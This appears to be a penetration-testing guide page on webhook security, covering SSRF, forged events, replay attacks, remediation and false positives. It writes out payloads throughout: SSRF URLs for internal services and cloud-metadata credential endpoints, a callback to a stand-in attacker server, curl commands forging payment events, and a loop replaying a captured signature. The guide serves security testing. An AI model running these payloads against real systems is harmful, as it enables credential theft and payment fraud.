Last reviewed 4 min read

Webhook Security Testing

Webhooks are HTTP callbacks that send real-time notifications between applications. They are commonly used for payment notifications, CI/CD triggers, and service integrations. Insecure webhook implementations can be exploited for SSRF, replay attacks, data manipulation, and unauthorized triggers.

Webhook SSRF

webhook-ssrf.txt
# If the application lets you configure a webhook URL:
# Point it to internal services!

# Test with Burp Collaborator or interactsh-client (app.interactsh.com):
Webhook URL: https://ATTACKER_SERVER/callback
# Confirm the application makes outbound requests

# Then try SSRF:
Webhook URL: http://127.0.0.1:80/
Webhook URL: http://localhost:8080/admin
Webhook URL: http://169.254.169.254/latest/meta-data/  # AWS metadata
Webhook URL: http://[::1]:80/
Webhook URL: http://internal-api.local/

# Cloud metadata endpoints:
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/  # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01  # Azure (requires header: Metadata: true)
# Azure IMDS also rejects requests carrying an X-Forwarded-For header,
# so the SSRF sink must be able to set headers — a bare URL is not enough.

# DNS rebinding to bypass allowlist:
# Register a domain that alternates between external IP and 127.0.0.1
Webhook URL: http://rebind.attacker.com/callback

Webhook Authentication Bypass

webhook-forgery.sh
# If you know the webhook endpoint, try sending forged events:

# Payment webhook forgery (e.g., Stripe-like):
curl -X POST https://target.com/webhooks/payment \
  -H 'Content-Type: application/json' \
  -d '{"event": "payment.completed", "amount": 9999, "order_id": "ORD-123"}'

# Check if the application verifies signatures:
# Stripe uses Stripe-Signature header
# GitHub uses X-Hub-Signature-256 header
# If signature verification is missing, you can forge any event!

# Test without signature header:
curl -X POST https://target.com/webhooks/github \
  -H 'Content-Type: application/json' \
  -d '{"action": "completed", "deployment": {"environment": "production"}}'

# Test with incorrect signature:
curl -X POST https://target.com/webhooks/payment \
  -H 'Stripe-Signature: t=123,v1=invalid_signature' \
  -H 'Content-Type: application/json' \
  -d '{"type": "checkout.session.completed"}'

Replay Attacks

webhook-replay.sh
# Capture a legitimate webhook payload and replay it:

# Step 1: Capture the webhook request (use request bin or Burp)
# Step 2: Replay it multiple times:
for i in $(seq 1 10); do
  curl -X POST https://target.com/webhooks/payment \
    -H 'Content-Type: application/json' \
    -H 'Stripe-Signature: CAPTURED_VALID_SIGNATURE' \
    -d '{"type": "checkout.session.completed", "data": {"amount": 100}}'
  echo "Replay $i sent"
done

# If successful:
# - Payment processed 10 times
# - Inventory decremented 10 times
# - Notifications sent 10 times

# Defense should include:
# - Timestamp validation (reject events older than 5 minutes)
# - Idempotency keys (reject duplicate event IDs)
# - Monotonic counters (reject out-of-order events)

Testing Checklist

  • ☐ 1. Identify all webhook endpoints (config pages, API docs, JS source)
  • ☐ 2. Test webhook URL for SSRF (internal IPs, cloud metadata)
  • ☐ 3. Test if webhooks verify signatures or can be forged
  • ☐ 4. Replay captured webhook payloads for duplicate processing
  • ☐ 5. Test with modified payloads (change amounts, status, user IDs)
  • ☐ 6. Check if webhook secrets are exposed in configuration
  • ☐ 7. Test webhook URL scheme restrictions (file://, gopher://, dict://)

Evidence Collection

SSRF: Request showing webhook to internal endpoint, response with internal data

Forgery: Unsigned webhook request accepted by the application

Replay: Multiple successful processing of the same webhook event

CVSS Range: SSRF: 6.5–9.1 | Forgery: 7.5–8.6 | Replay: 5.3–7.5

Remediation

  • • Verify signatures: Always verify webhook signatures using HMAC-SHA256 with a shared secret.
  • • Validate timestamps: Reject webhook events older than 5 minutes to prevent replay.
  • • Idempotency: Track event IDs and reject duplicates.
  • • URL allowlist: Restrict webhook destination URLs to known-good domains/IPs.
  • • Block internal IPs: Deny webhook URLs pointing to RFC 1918, loopback, and metadata endpoints.

False Positive Identification

  • Webhook to internal IP blocked: The server may accept the webhook URL but the actual HTTP request is blocked by network policy — verify the request actually reaches internal resources.
  • Unsigned webhooks by design: Some webhook providers don't sign payloads — check if the application has alternative verification (IP allowlisting, mutual TLS).
  • Replay window as feature: Some systems allow webhook re-delivery for reliability — verify there's no nonce/timestamp check rather than reporting re-delivery as a vulnerability.